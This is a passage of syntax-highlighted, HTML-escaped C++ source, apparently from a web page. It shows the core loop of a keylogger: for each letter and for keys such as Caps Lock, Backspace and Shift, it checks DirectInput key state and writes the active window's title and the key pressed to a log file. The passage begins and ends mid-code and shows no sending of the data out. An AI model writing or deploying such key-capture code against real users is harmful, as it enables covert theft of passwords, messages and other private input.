bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_J<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: J&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_K<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: K&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_L<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: L&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_M<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: M&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_N<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: N&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_O<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: O&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_P<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: P&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_Q<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: Q&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_R<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: R&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_S<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: S&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_T<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: T&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_U<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: U&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_V<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: V&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_W<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: W&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_X<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: X&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_Y<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: Y&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_Z<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: Z&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_CAPITAL<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: CAPS LOCK&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_DELETE<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: DELETE KEY&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_EQUALS<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: =&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_APOSTROPHE<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: \\&quot;&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_BACK<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: BACKSPACE&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_GRAVE<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: `&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_LSHIFT<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: LEFT SHIFT&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_MINUS<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: -&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_PERIOD<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; 